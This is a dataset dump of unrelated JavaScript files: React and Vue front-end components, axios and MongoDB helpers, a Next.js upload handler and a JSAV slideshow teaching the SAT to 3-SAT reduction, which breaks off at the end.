text
stringlengths
7
3.69M
window.onload = function () { var oBox = $('box'), aBoxLi = byTagName(oBox, 'li'); for(var i=0; i < aBoxLi.length; i++) { // 初始化布局 if( i === 0) { aBoxLi[i].style.left = 0; } else { aBoxLi[i].style.left = 500 + i * 100 + 'px'; } // 添加mouseenter事件 aBoxLi[i].index = i; aBoxLi[i].onmouseenter = function () { for(var j =0; j < aBoxLi.length; j++) { if(j <= this.index) { bufferMove(aBoxLi[j], {left: j * 100}); } else { bufferMove(aBoxLi[j], {left: 500 + j * 100}); } } } } function $(id) { return document.getElementById(id); } function byTagName(obj, sTagName) { return obj.getElementsByTagName(sTagName); } }
import React from 'react' import UpcomingItem from './UpcomingItem.js' import '../style/upcomingItems.css' const UpcomingItems = props => { console.log(props.upcomingItems) const mappedUpcomingItems = props.upcomingItems.map(item => <UpcomingItem name={item.item.name} description={item.item.description} rarity={item.item.rarity} type={item.item.type} const={item.item.cost} image={item.item.images.background} key={item.itemId} />) return( <div className='popularContainer'> {mappedUpcomingItems} </div> ) } export default UpcomingItems
import React from 'react'; import Link from 'next/link'; import { ErrorButton, ErrorDiv, ErrorMessage, ErrorNumber } from './404S'; export const Error = () => { return ( <ErrorDiv> <ErrorNumber>404</ErrorNumber> <ErrorMessage>Page Not Found</ErrorMessage> <Link href="/"> <ErrorButton>Back To Homepage</ErrorButton> </Link> </ErrorDiv> ); };
import retNum from "./src/add.js"; console.log(Utils.retNum());
import React from 'react'; import Styled from 'styled-components/native'; const Container = Styled.View` width: 100%; height: 40px; padding-left: 16px; padding-right: 16px; border-radius: 4px; background-color: #FAFAFA; border-width: 1px; border-color: #D3D3D3; `; const InputField = Styled.TextInput` flex: 1; color: #292929; width: 100%; `; const Input = ({ placeholder, keyboardType, secureTextEntry, style, clearMode, onChangeText, }) => { return ( <Container style={style}> <InputField selectionColor="#292929" secureTextEntry={secureTextEntry} keyboardType={keyboardType ? keyboardType : 'default'} autoCapitalize="none" autoCorrect={false} allowFontScaling={false} placeholderTextColor="#C3C2C8" placeholder={placeholder} clearButtonMode={clearMode ? 'while-editing' : 'never'} onChangeText={onChangeText} /> </Container> ); }; export default Input;
import { listBusiness } from "../../apis/business" import * as actions from "./actions" export function getListBusiness({ status, type}) { return async function getListBusinessThunk(dispatch, getState) { dispatch(actions.getListRequested()) try { const res = await listBusiness({ status, type}); return dispatch(actions.getListSuccess(res)) } catch (err) { dispatch(actions.getListFailed()) throw new Error('Can\'t get list business') } } }
const cheerio = require('cheerio') const fs = require('fs') const q = cheerio.load(fs.readFileSync('/Users/kissarat/Downloads/Quest127.xml')) const qa = cheerio.load(fs.readFileSync('/Users/kissarat/Downloads/Answer127.xml')) const questions = [] function short(string) { const acronyms = string.split(/\s+/g) .filter(a => /^[\wа-яіґїъ"]/i.test(a)) .map(a => '"' === a[0] ? a[1] : a[0]) return acronyms.join('').slice(0, 10) } const answers = {} qa('ROW').each(function (i, {attribs: {kodquestion, answer, vesanswer}}) { const a = answers[kodquestion] || [] if (vesanswer > 0) { a.push(short(answer)) } answers[kodquestion] = a }) q('ROW').each(function (i, {attribs: {kodquestion, question}}) { question = short(question) const answer = answers[kodquestion] if (answer) { question += ' - ' + answer.join(' ') } questions.push(question) }) console.log(questions.sort().join('\n'))
import React, { useState, useEffect } from 'react'; import { Link } from 'react-router-dom'; import { useHistory } from 'react-router-dom'; import axios from 'axios'; import printJS from 'print-js'; import Loader from '../components/loader'; import fileDownload from 'js-file-download'; // ES6 Modules or TypeScript import Swal from 'sweetalert2'; import FilerobotImageEditor from 'filerobot-image-editor'; const OrdoDetail = ({ match }) => { const [ordonnance, setOrdonnance] = useState(); const history = useHistory(); const [show, toggle] = useState(false); /* useEffect(() => { const fetchOrdonnance = async() => { const response = await fetch(`http://localhost:1337/ordonnances/${+match.params.id}`) const data = await response.json() setOrdonnance(data) } fetchOrdonnance() }, [match.params.id]); */ useEffect(() => { const getOrdonnance = async () => { const response = await axios( `https://frozen-dawn-43758.herokuapp.com/ordonnances/${+match.params.id}`, ); setOrdonnance(response.data); }; getOrdonnance(); }, [match.params.id]); const printArea = () => { printJS(ordonnance.imageOrdo.formats.small.url, 'image') }; const handleDownload = (url, filename) => { axios.get(url, { responseType: 'blob', }) .then((res) => { fileDownload(res.data, filename) }) }; const fireSweetAlert = () => { Swal.fire({ title: 'Are you sure?', text: "You won't be able to revert this!", icon: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', confirmButtonText: 'Yes, delete it!' }).then((result) => { if (result.isConfirmed) { Swal.fire( 'Deleted!', 'Your file has been deleted.', 'success' ).then((result) => {axios.delete(`https://frozen-dawn-43758.herokuapp.com/ordonnances/${ordonnance.id}`) .then((response) => { axios.delete(`https://frozen-dawn-43758.herokuapp.com/upload/files/${ordonnance.imageOrdo.id}`) .then(() => history.push(`/ordonnances`)) }); }); }; }); }; //version précédente // .then((result) => {axios.delete(`https://frozen-dawn-43758.herokuapp.com/ordonnances/${ordonnance.id}`) //.then(() => history.push(`/ordonnances`))}) //} //}) //}; const deleteOrdo = () => { fireSweetAlert(); // axios.delete(`${process.env.REACT_APP_API_URL}/ordonnances/${ordonnance.id}`).then(() => history.push(`/ordonnances`)); }; return ( <div> { ordonnance ? ( <div className="row"> <div className="col s12 m8 offset-m2"> <h2 className="header center">{ ordonnance.lastName }</h2> <div className="card hoverable"> <div id="printMe" className="card-image"> <img id="saveMe" src={ordonnance.imageOrdo.formats.small.url} alt={ordonnance.lastName} onClick={() => { toggle(true) }} style={{width: '250px', margin: '0 auto'}}/> {/* <Link to={`/pokemons/edit/${pokemon.id}`} className="btn-floating halfway-fab waves-effect waves-light"><i className="material-icons">edit</i></Link> */} <FilerobotImageEditor show={show} src={ordonnance.imageOrdo.formats.small.url} onClose={() => { toggle(false) }} /> </div> <div className="card-stacked"> <div className="card-content"> <p>{ ordonnance.firstName }{" "}{ ordonnance.lastName }{" "}{ ordonnance.examen }</p> <br></br> <p> <span style={{marginRight:5}} className="btn-floating waves-effect waves-light" > <i onClick={printArea} className="material-icons ">print</i> </span> <span style={{marginRight:5}} className="btn-floating waves-effect waves-light" > <i onClick={() => {handleDownload(ordonnance.imageOrdo.formats.small.url, `${ ordonnance.firstName }${ ordonnance.lastName }.jpg`)}} className="material-icons">arrow_circle_down</i> </span> </p> {/* <button type="button" onClick={printArea}> Imprimer l'ordonnance </button> */} {/* <button onClick={() => {handleDownload(`${process.env.REACT_APP_API_URL}${ordonnance.imageOrdo.url}`, `${ ordonnance.firstName }${ ordonnance.lastName }.jpg`)}}>Télécharger l'ordonnance</button> */} <p> <span className="btn-floating halfway-fab waves-effect waves-light" style={{position: 'fixed', bottom: '25px', right: '25px'}}> <i onClick={deleteOrdo} className="material-icons">delete</i> </span> </p> </div> <div className="card-action"> <Link to="/">Retour</Link> </div> </div> </div> </div> </div> ) : ( <h4 className="center"><Loader /></h4> )} </div> ); } export default OrdoDetail;
import axios from 'axios'; let Ax = axios.create({ baseURL: 'http://dxy.sh-cmj.com/web/' }) Ax.interceptors.request.use((config) => { if (localStorage.token) { //判断token是否存在 config.headers.token = localStorage.token; //将token设置成请求头 } return config; }, (error) => { return Promise.reject(error); }) Ax.interceptors.response.use((config) => { if (config.data.Code === "100000") { return config.data; } else { // Toast.success(config.data.Msg) } }, (error) => { return Promise.reject(error); }) export default Ax;
import React from 'react'; import { makeStyles } from '@material-ui/core/styles'; import LinearProgress from '@material-ui/core/LinearProgress'; import PropTypes from 'prop-types'; // for Material UI LinearProgressAPI visit https://material-ui.com/api/linear-progress/#linearprogress-api const useStyles = makeStyles(theme => ({ root: { width: '100%', '& > * + *': { marginTop: theme.spacing(2), }, }, })); export default function Linear(props) { const classes = useStyles(); const { color, variant } = props; return ( <div className={classes.root}> <LinearProgress color={color} variant={variant} /> </div> ); } Linear.prototype = { color: PropTypes.string, variant: PropTypes.string, value: PropTypes.number, valeBuffer: PropTypes.number, };
// Modal Extension // =============================== $('.modal-dialog').attr( {'role' : 'document'}) var modalhide = $.fn.modal.Constructor.prototype.hide $.fn.modal.Constructor.prototype.hide = function(){ var modalOpener = this.$element.parent().find('[data-target="#' + this.$element.attr('id') + '"]') modalhide.apply(this, arguments) modalOpener.focus() }
import store from '@/store/index' import BaseModule from './BaseModule' const Position = BaseModule({ // 交易所和合约代码 'user_id': '', // 用户ID 'exchange_id': '', // 交易所 'instrument_id': '', // 合约在交易所内的代码 // 持仓手数与冻结手数 'volume_long_today': 0, // 多头今仓持仓手数 'volume_long_his': 0, // 多头老仓持仓手数 'volume_long': 0, // 多头持仓手数 'volume_long_frozen_today': 0, // 多头今仓冻结手数 'volume_long_frozen_his': 0, // 多头老仓冻结手数 'volume_short_today': 0, // 空头今仓持仓手数 'volume_short_his': 0, // 空头老仓持仓手数 'volume_short': 0, // 空头持仓手数 'volume_short_frozen_today': 0, // 空头今仓冻结手数 'volume_short_frozen_his': 0, // 空头老仓冻结手数 // 成本, 现价与盈亏 'open_price_long': 0, // 多头开仓均价 'open_price_short': 0, // 空头开仓均价 'open_cost_long': 0, // 多头开仓成本 'open_cost_short': 0, // 空头开仓成本 'position_price_long': 0, // 多头持仓均价 'position_price_short': 0, // 空头持仓均价 'position_cost_long': 0, // 多头持仓成本 'position_cost_short': 0, // 空头持仓成本 'last_price': 0, // 最新价 'float_profit_long': 0, // 多头浮动盈亏 'float_profit_short': 0, // 空头浮动盈亏 'float_profit': 0, // 浮动盈亏 = float_profit_long + float_profit_short 'position_profit_long': 0, // 多头持仓盈亏 'position_profit_short': 0, // 空头持仓盈亏 'position_profit': 0, // 持仓盈亏 = position_profit_long + position_profit_short // 保证金占用 'margin_long': 0, // 多头持仓占用保证金 'margin_short': 0, // 空头持仓占用保证金 'margin': 0 // 持仓占用保证金 = margin_long + margin_short }) const PositionsModule = { namespaced: true, state: { PositionsList: [], PositionsSymbolsList: [] }, mutations: { UPDATE_POSITIONS: (state, payload) => { for (let symbol in payload) { if (!state[symbol]) { store.registerModule(['positions', symbol], Position) state.PositionsList.push(symbol) } store.commit('positions/' + symbol + '/UPDATE', payload[symbol]) } for (let i = 0; i < state.PositionsList.length; i++) { let symbol = state[state.PositionsList[i]].exchange_id + '.' + state[state.PositionsList[i]].instrument_id if (!state.PositionsSymbolsList.includes(symbol)) state.PositionsSymbolsList.push(symbol) } } }, getters: { GET_POSITION: (state) => (symbol) => state[symbol], GET_POSITIONS: (state) => { let result = [] for (let i = 0; i < state.PositionsList.length; i++) { if (state[state.PositionsList[i]].volume_long > 0 || state[state.PositionsList[i]].volume_short > 0) result.push(state[state.PositionsList[i]]) } return result } } } export default PositionsModule
import _ from 'lodash' import React, { PropTypes } from 'react' import FaApple from 'react-icons/lib/fa/apple' import FaWindows from 'react-icons/lib/fa/windows' import FaLinux from 'react-icons/lib/fa/linux' const propTypes = { os: PropTypes.string, } const OS_ICON_MAP = { darwin: FaApple, linux: FaLinux, windows: FaWindows } const OsIcon = ({ os }) => { const Icon = _.get(OS_ICON_MAP, os) return <Icon /> } OsIcon.propTypes = propTypes export default OsIcon
import fs from "fs"; import formidable from "formidable"; import { parseToText } from 'utils/parseToText'; import { empty } from "utils/helpers"; import { writeTxtFile } from "utils/writeTxtFile"; export const config = { api: { bodyParser: false } }; export default (req, res) => { switch (req.method) { case 'POST': return post(req, res); default: return res.status(200).json("HTTPS Method not found") } } const post = async (req, res) => { try { const form = new formidable.IncomingForm(); form.parse(req, async function (error, fields, files) { if(error) throw new Error(error) const path = files?.file?.name?.split('.') const ext = path.pop() || '' const fileName = path.shift() || 'temp01' if(ext !== 'json') { res.status(200).json({success: false, error: `El archivo debe ser un .json`}) } if(empty(fields.delimiter) || empty(fields.key)) { const field = empty(fields.delimiter) ? 'delimitador' : 'clave de cifrado' res.status(200).json({success: false, error: `El campo ${field} es requerido`}) } const{ text, json } = parseAndSaveTxt(files.file, fileName, fields); res.status(200).json({success: true, text, json, fileName: `${fileName}.txt` }) }); } catch (error) { res.status(200).json({success: false, error: 'La petición no pudo ser procesada, por favor intente de nuevo mas tarde'}) } }; const parseAndSaveTxt = (file, fileName, fields) => { const json = fs.readFileSync(file.path, 'utf8'); const clients = JSON.parse(json) const text = parseToText(clients.clientes || [], fields.delimiter, fields.key) writeTxtFile(text, fileName) return { text, json: clients.clientes || [] } }
//The Higher Order Function... let arr = ['Asad Anik', 'School', 'collage'] arr.forEach((user) => { console.log(user) }) var caller = function(){ return function(a){ return `I am ${a} for you!`; } } var x = caller()('asad') console.log(x) //Another example... function doubleFunction(){ return function(){ console.log('I am double function inner of one function') } } doubleFunction()()//Called the function... //Examplee non_annonimus way... function remainder(value){ return function(innerValue){ console.log(value, innerValue) } } var goodMorning = remainder('Good Morning') var goodAfternoon = remainder('Good Afternoon') goodMorning('ASad') goodAfternoon('ANik') ///Annonimus way to function.. ///-------/*/*/*/------ function remember(value){ function ret(innerValue){ console.log(`${value} and ${innerValue}`); } return ret; } remember('Me')('Bill Gates')
const mongodb = require("../mongodb"); const conn = mongodb.connection; const ObjectId = mongodb.ObjectId; module.exports = { getPointsPerDay: getPointsPerDay }; function getPointsPerDay(req) { let aggregate = []; let match = { $match: { userId: ObjectId(req.auth.userId) } }; let createDate = {}; let group = { $group: { _id: { $dateToString: { format: "%Y-%m-%d", date: "$createDate" } }, count: { $sum: "$challenge.points" } } }; if (typeof req.query.startDate !== "undefined") { createDate.$gte = new Date(req.query.startDate); } if (typeof req.query.endDate !== "undefined") { createDate.$lte = new Date(req.query.endDate); } if (Object.keys(createDate).length > 0) { match.$match.createDate = createDate; } aggregate.push(match, group); return conn .db() .collection("interactions") .aggregate(aggregate) .toArray() .then(pointsByDay => { return pointsByDay; }); }
import React from "react"; import {Card, Pagination} from "antd"; function itemRender(current, type, originalElement) { if (type === 'prev') { return <span className="gx-link">Previous</span>; } else if (type === 'next') { return <span className="gx-link">Next</span>; } return originalElement; } const PrevAndNext = () => { return ( <Card className="gx-card" title="Prev And Next Pagination"> <Pagination total={500} itemRender={itemRender}/> </Card> ); }; export default PrevAndNext;
//Written by Nabanita Maji and Cliff Shaffer, Spring 2015 /*global ODSA */ $(document).ready(function () { "use strict"; var av_name = "SATto3SATCON"; $(".avcontainer").on("jsav-message" , function() { // invoke MathJax to do conversion again MathJax.Hub.Queue(["Typeset" , MathJax.Hub]); }); $(".avcontainer").on("jsav-updatecounter" , function(){ // invoke MathJax to do conversion again MathJax.Hub.Queue(["Typeset" , MathJax.Hub]); }); var av = new JSAV(av_name); var label1, label2 , label3, label4, label5, label6, label7, label8, label9, label10, label11, label12,nl1,nl2,nl3,n4; // Slide 1 av.umsg("<br><b>Reduction of SAT to 3-SAT </b>"); nl1=av.label(" This slideshow presents how to reduce a Formula Satisfiability "+ "problem to an 3 CNF Satisfiability problem in polynomial time",{top:0}); av.displayInit(); av.step(); // Slide 2 nl1.hide(); av.umsg("<br><b>Reduction of SAT to 3-SAT</b>"); nl1=av.label("There can be only four cases for a clause in a SAT "+ "formula : $C_1$ &nbsp;&nbsp;. $C_2$ . $\\cdots$ . $C_n$" +"<br><br> Let $C_i$ denote a random clause in a SAT formula" +" where $i$ can range from 1 to n<br><br>&nbsp;1. It contains three literals. &nbsp;&nbsp;"+ "&nbsp; For example : ($x_1 + \\overline{x_2} + x_3$)<br>&nbsp;&nbsp;&nbsp;&nbsp;"+ "No reduction needed for this case.<br><br>&nbsp;2. It contains only one literal. &nbsp;"+ "&nbsp;&nbsp; For example : ($x_1$)<br><br>&nbsp;3. It contains two literals. &nbsp;"+ "&nbsp;&nbsp; For example : ($x_1 + \\overline{x_2}$)<br><br>&nbsp;4. It contains more than " +"three literals. &nbsp;&nbsp;&nbsp; For example : ($x_1 + \\overline{x_2} + x_3$ "+ "+ $\\cdots$ +$x_k$) where $k > 3$" ,{top:-10}); av.step(); // Slide 3 nl2=av.label("Any of the above type of clause (C) can be replaced by" +" a conjunction of clauses (Z) such that <br><br>1. All clauses in "+ "Z contain exactly 3 literals. <br><br>2. C is satisfiable if and only if"+ " Z is satisfiable. that is $C \\iff Z$" ,{top:280}); av.step(); // Slide 4 av.umsg("<br><b>Case 2: Reduction of clauses containing one literal</b>"); nl1.hide(); nl2.hide(); nl1=av.label("Let $C_i$ &nbsp;&nbsp; = &nbsp; $l_i$ where $l_i$ is a "+ "literal.",{top:-10}); av.step(); // Slide 5 nl2=av.label("Introduce 2 new variables $y_{i,1}$ and "+ "$y_{i,2}$.",{top:20}); av.step(); // Slide 6 nl3=av.label("Replace $C_i$ by conjunction of clauses " +"$Z_i$ where",{top:45}); var nl4= av.label("$Z_i = $",{top:70,left:0}); label1 = av.label("$(l_i + y_{i,1} + y_{i,2}) \\cdot$ ",{left:30,top:70}); label2 = av.label("$(l_i + \\overline{y_{i,1}} + y_{i,2}) \\cdot$ ",{left:145,top:70}); label3 = av.label("$(l_i + y_{i,1} + \\overline{y_{i,2}}) \\cdot$ ",{left:255,top:70}); label4 = av.label("$(l_i + \\overline{y_{i,1}} + \\overline{y_{i,2}})$",{left:365,top:70}); av.step(); // Slide 7 label1.addClass("falsecolor"); label2.addClass("truecolor"); label3.addClass("color1"); label4.addClass("color2"); label5 = av.label("I",{left:60,top:90}).addClass("falsecolor"); label6 = av.label("II",{left:190,top:90}).addClass("truecolor");; label7 = av.label("III",{left:305,top:90}).addClass("color1"); label8 = av.label("IV",{left:430,top:90}).addClass("color2"); av.step(); // Slide 8 label9 = av.label("<b>Truth Table :</b>",{left:20,top:110}); var mat1 =[["$l_i$","$y_{i,1}$","$y_{i,2}$", "I","II","III","IV","$Z_i$"], ["T","T","T","T","T","T","T","T"], ["T","T","F","T","T","T","T","T"], ["T","F","T","T","T","T","T","T"], ["T","F","F","T","T","T","T","T"], ["F","T","T","T","T","T","F","F"], ["F","T","F","T","F","T","T","F"], ["F","F","T","T","T","F","T","F"], ["F","F","F","F","T","T","T","F"] ]; var table1 = new av.ds.matrix(mat1,{style:"table",left:10,top:130,}); for(var i=0;i<9;i++) for(var j=3;j<8;j++) table1.addClass(i,j,"invisible"); av.step(); // Slide 9 label1.addClass("fontbold"); for(var i=0;i<9;i++) table1.removeClass(i,3,"invisible"); av.step(); // Slide 10 label1.removeClass("fontbold"); label2.addClass("fontbold"); for(var i=0;i<9;i++) table1.removeClass(i,4,"invisible"); av.step(); label2.removeClass("fontbold"); label3.addClass("fontbold"); for(var i=0;i<9;i++) table1.removeClass(i,5,"invisible"); av.step(); label3.removeClass("fontbold"); label4.addClass("fontbold"); for(var i=0;i<9;i++) table1.removeClass(i,6,"invisible"); av.step(); label4.removeClass("fontbold"); for(var i=0;i<9;i++) table1.removeClass(i,7,"invisible"); av.step(); label10 = av.label("When $C_i$ (i.e. $l_i$) is $True$," + " $Z_i$ is true. ",{left:350,top:200}); for(var i=1;i<5;i++){ table1.addClass(i,0,"cellhighlight"); table1.addClass(i,7,"cellhighlight"); } av.step(); label11 = av.label("When $C_i$ (i.e. $l_i$) is $False$," + " $Z_i$ is false. ",{left:350,top:230}); for(var i=1;i<5;i++){ table1.removeClass(i,0,"cellhighlight"); table1.removeClass(i,7,"cellhighlight"); } for(var i=5;i<9;i++){ table1.addClass(i,0,"cellhighlight"); table1.addClass(i,7,"cellhighlight"); } av.step(); for(var i=5;i<9;i++){ table1.removeClass(i,0,"cellhighlight"); table1.removeClass(i,7,"cellhighlight"); } label12 = av.label("Hence $C_i$ can be reduced to $Z_i$ "+ "where each clause in $Z_i$ contains exactly 3 literals and " +"$C_i \\iff Z_i$.",{left:350,top:270}).addClass("color1"); av.step(); label1.hide(); label2.hide(); label3.hide(); label4.hide(); label5.hide(); label6.hide(); label7.hide(); label8.hide(); label9.hide(); label10.hide(); label11.hide(); label12.hide(); nl1.hide(); nl2.hide(); nl3.hide(); nl4.hide(); table1.hide(); av.umsg("<br><b>Case 3: Reduction of clauses containing two literals.</b>"); nl1=av.label("Let $C_i$ &nbsp;&nbsp; = &nbsp; ( $l_{i,1}$ + $l_{i,2}$ )" +" where $l_{i,1}$ and $l_{i,2}$ are literals.",{top:-10}); av.step(); nl2=av.label("Introduce a new variable $y_i$",{top:20}); av.step(); nl3=av.label("Replace $C_i$ by conjunction of clauses " +"$Z_i$ where",{top:45}); nl4=av.label("$Z_i =$",{top:70}); label1 = av.label("$(l_{i,1} + l_{i,2} + y_i) \\cdot$ ",{left:30,top:72}); label2 = av.label("$(l_{i,1} + l_{i,2} + \\overline{y_i})$ ",{left:135,top:72}); av.step(); label1.addClass("color1"); label2.addClass("color2"); label3 = av.label("I",{left:70,top:90}).addClass("color1"); label4 = av.label("II",{left:175,top:90}).addClass("color2");; av.step(); label5 = av.label("<b>Truth Table :</b>",{left:20,top:110}); var mat2=[["$l_{i,1}$","$l_{i,2}$","$y_i$", "$C_i$","I","II","$Z_i$"] , ["T","T","T","T","T","T","T"], ["T","T","F","T","T","T","T"], ["T","F","T","T","T","T","T"], ["T","F","F","T","T","T","T"], ["F","T","T","T","T","T","T"], ["F","T","F","T","T","T","T"], ["F","F","T","F","T","F","F"], ["F","F","F","F","F","T","F"], ]; var table2 = new av.ds.matrix(mat2,{style:"table",left:10,top:130,}); for(var i=0;i<9;i++) for(var j=3;j<7;j++) table2.addClass(i,j,"invisible"); av.step(); for(var i=0;i<9;i++) table2.removeClass(i,3,"invisible"); av.step(); for(var i=0;i<9;i++) table2.removeClass(i,4,"invisible"); label1.addClass("fontbold"); av.step(); label1.removeClass("fontbold"); label2.addClass("fontbold"); for(var i=0;i<9;i++) table2.removeClass(i,5,"invisible"); av.step(); label2.removeClass("fontbold"); for(var i=0;i<9;i++) table2.removeClass(i,6,"invisible"); av.step(); label6 = av.label("When $C_i$ is true," + " $Z_i$ is true. ",{left:350,top:200}); for(var i=1;i<7;i++){ table2.addClass(i,3,"cellhighlight"); table2.addClass(i,6,"cellhighlight"); } av.step(); label7 = av.label("When $C_i$ is false," + " $Z_i$ is false. ",{left:350,top:230}); for(var i=1;i<7;i++){ table2.removeClass(i,3,"cellhighlight"); table2.removeClass(i,6,"cellhighlight"); } for(var i=7;i<9;i++){ table2.addClass(i,3,"cellhighlight"); table2.addClass(i,6,"cellhighlight"); } av.step(); for(var i=7;i<9;i++){ table2.removeClass(i,3,"cellhighlight"); table2.removeClass(i,6,"cellhighlight"); } label8 = av.label("Hence $C_i$ can be reduced to $Z_i$ "+ "where each clause in $Z_i$ contains exactly 3 literals and " +"$C_i \\iff Z_i$.",{left:350,top:270}).addClass("color1"); av.step(); label1.hide(); label2.hide(); label3.hide(); label4.hide(); label5.hide(); label6.hide(); label7.hide(); label8.hide(); nl1.hide(); nl2.hide(); nl3.hide(); nl4.hide(); table2.hide(); av.umsg("<br><b>Case 4: Reduction of clauses containing more than three "+ "literals.</b>"); nl1=av.label("Let $C_i$ &nbsp;&nbsp; = &nbsp; $( l_{i,1} + l_{i,2} + " +"l_{i,3} + \\cdots + l_{i,k} )$ where $k>3$.",{top:-10}); av.step(); nl2=av.label("Introduce $(k-3)$ new variables : $y_1 , y_2, \\cdots " +",y_{k-3}$ ",{top:20}); av.step(); nl3=av.label("Replace $C_i$ with a sequence of clauses " + "$Z_i$ where<br><br> $Z_i = (l_{i,1} + l_{i,2} "+ "+ y_1) \\cdot (\\overline{y_1} + l_{i,3} + y_2)"+ " \\cdots (\\overline{y_{j-2}} + l_{i,j} + y_{j-1}) \\cdots"+ " (\\overline{y_{k-4}} + l_{i,k-2} + y_{k-3}) \\cdot("+ "\\overline{y_{k-3}} + l_{i,k-1} + l_{i,k})$" ,{top:60}); av.step(); nl4=av.label("<b> To prove:</b><br><br>a. When $C_i$ is satisfiable,"+ "$ Z_i$ is satisfiable <br><br>b. When $C_i$ is not satisfiable, $Z_i$ " +"is not satisfiable",{top:180}); av.step(); nl1.hide(); nl2.hide(); nl3.hide(); nl4.hide(); av.umsg("<br><b> Case 4a. When C<sub>i</sub> is satisfiable.</b>"); nl1=av.label("$C_i$ &nbsp;&nbsp; = &nbsp; $( l_{i,1} + l_{i,2} + "+ "l_{i,3} + \\cdots + l_{i,k} )$ where $k>3$.",{top:-20}); nl2=av.label("$Z_i =$ ",{top:4}); var zlabels = []; zlabels.push(av.label(" $($ ",{left: 35,top:4})); zlabels.push(av.label("$l_{i,1} + l_{i,2}$",{left:40,top:4})); zlabels.push(av.label(" $+$ ",{left: 95,top:4})); zlabels.push(av.label("$y_1$",{left: 110,top:4})); zlabels.push(av.label(" $)\\cdot($ ",{left: 120,top:4})); zlabels.push(av.label("$\\overline{y_1}$",{left: 137,top:4})); zlabels.push(av.label(" $+$ ",{left: 152,top:4})); zlabels.push(av.label("$l_{i,3}$",{left: 167,top:4})); zlabels.push(av.label(" $+$ ",{left: 185,top:4})); zlabels.push(av.label("$y_2$",{left: 200,top:4})); zlabels.push(av.label(" $) \\cdots ($ ",{left: 215,top:4})); zlabels.push(av.label("$\\overline{y_{j-3}}$",{left: 245,top:4})); zlabels.push(av.label(" $+$ ",{left: 277,top:4})); zlabels.push(av.label("$l_{i,j-1}$",{left: 290,top:4})); zlabels.push(av.label(" $+$ ",{left: 320,top:4})); zlabels.push(av.label("$y_{j-2}$",{left: 335,top:4})); zlabels.push(av.label(" $)\\cdot($ ",{left: 360,top:4})); zlabels.push(av.label("$\\overline{y_{j-2}}$",{left: 380,top:4})); zlabels.push(av.label(" $+$ ",{left: 408,top:4})); zlabels.push(av.label("$l_{i,j}$",{left: 423,top:4})); zlabels.push(av.label(" $+$ ",{left: 440,top:4})); zlabels.push(av.label("$y_{j-1}$",{left: 460,top:4})); zlabels.push(av.label(" $)\\cdot($ ",{left: 485,top:4})); zlabels.push(av.label("$\\overline{y_{j-1}}$",{left: 500,top:4})); zlabels.push(av.label(" $+$ ",{left: 530,top:4})); zlabels.push(av.label("$l_{i,j+1}$",{left: 545,top:4})); zlabels.push(av.label(" $+$ ",{left: 575,top:4})); zlabels.push(av.label("$y_{j}$",{left: 590,top:4})); zlabels.push(av.label("$)\\cdots($",{left: 605,top:4})); zlabels.push(av.label("$\\overline{y_{k-4}}$",{left:635,top:4})); zlabels.push(av.label(" $+$ ",{left:665,top:4})); zlabels.push(av.label("$l_{i,k-2}$",{left:680,top:4})); zlabels.push(av.label(" $+$ ",{left:715,top:4})); zlabels.push(av.label("$y_{k-3}$",{left:730,top:4})); zlabels.push(av.label(" $)$ ",{left:758,top:4})); zlabels.push(av.label(" $($ ",{left:30,top:25})); zlabels.push(av.label("$\\overline{y_{k-3}}$",{left:37,top:25})); zlabels.push(av.label(" $+$ ",{left:72,top:25})); zlabels.push(av.label("$l_{i,k-1} + l_k$",{left:81,top:25})); zlabels.push(av.label(" $)$ ",{left:145,top:25})); nl3=av.label("When $C_i$ is satisfiable atleast one literal in ${ "+ "l_{i,1} ... l_{i,k} }$ is $True$.",{top:60}); av.step(); label1=av.label("<b>If any of $l_{i,1}$ or $l_{i,2}$ is $True$</b>, " +"set all the additional variables $y_1 ,"+ "y_2 \\cdots y_{k-3}$ to $False$.",{left:0,top:100}); zlabels[1].addClass("truecolor"); av.step(); label3=av.label("The first term of all the clauses in $Z_i$ "+ "other than the first has a literal $\\overline{y_n}$ which evaluates to $True$" ,{left:0,top:130}); zlabels[5].addClass("truecolor"); zlabels[3].addClass("falsecolor"); zlabels[11].addClass("truecolor"); zlabels[9].addClass("falsecolor"); zlabels[17].addClass("truecolor"); zlabels[15].addClass("falsecolor"); zlabels[23].addClass("truecolor"); zlabels[21].addClass("falsecolor"); zlabels[29].addClass("truecolor"); zlabels[27].addClass("falsecolor"); zlabels[36].addClass("truecolor"); zlabels[33].addClass("falsecolor"); label4=av.label("<b>$Z_i$ has a satisfying assignment</b>" ,{left:0,top:160}); av.step(); for(var i in zlabels){ zlabels[i].removeClass("truecolor"); zlabels[i].removeClass("falsecolor"); } label1.hide(); label3.hide(); label4.hide(); label1=av.label("<b>If any of $l_{i,k-1}$ or $l_{i,k}$ is $True$</b>, " +"set all the additional variables $y_1 ,"+ "y_2 \\cdots y_{k-3}$ to $True$.",{left:0,top:100}); zlabels[38].addClass("truecolor"); av.step(); label3=av.label("The third term of all the clauses in $Z_i$ "+ "other than the last has a literal $y_n$ which evaluates to $True$" ,{left:0,top:130}); zlabels[3].addClass("truecolor"); zlabels[5].addClass("falsecolor"); zlabels[9].addClass("truecolor"); zlabels[11].addClass("falsecolor"); zlabels[15].addClass("truecolor"); zlabels[17].addClass("falsecolor"); zlabels[21].addClass("truecolor"); zlabels[23].addClass("falsecolor"); zlabels[27].addClass("truecolor"); zlabels[29].addClass("falsecolor"); zlabels[33].addClass("truecolor"); zlabels[36].addClass("falsecolor"); label4.show(); av.step(); for(var i in zlabels){ zlabels[i].removeClass("truecolor"); zlabels[i].removeClass("falsecolor"); } label1.hide(); label3.hide(); label4.hide(); label1=av.label("<b>If $l_{i,j}$ $(where \\ j \\notin \\{1,2,k-1,k\\})$ is $True$</b>, " +"set $y_1 \\cdots y_{j-2}$ to $True$ and $y_{j-1} \\cdots y_{k-3}$ to $False$." ,{left:0,top:100}); zlabels[19].addClass("truecolor"); av.step (); label3=av.label("Let us call the clause in $Z_i$ containing "+ "$l_{i,j}$ in as $C$'",{left:0,top:130}); label6 = av.label("--------------------",{left:380,top:20}); label7 = av.label("$C'$",{left:430,top:35}); av.step(); label4=av.label("The third term of all the clauses in $Z_i$ "+ "left to $C'$ has a literal $y_n$ ($where \\ n \\in \\{1..j-2\\}$) " +"which evaluates to $True$",{left:0,top:160}); zlabels[3].addClass("truecolor"); zlabels[5].addClass("falsecolor"); zlabels[9].addClass("truecolor"); zlabels[11].addClass("falsecolor"); zlabels[15].addClass("truecolor"); zlabels[17].addClass("falsecolor"); av.step(); label5=av.label("The first term of all the clauses in $Z_i$ "+ "right to $C'$ 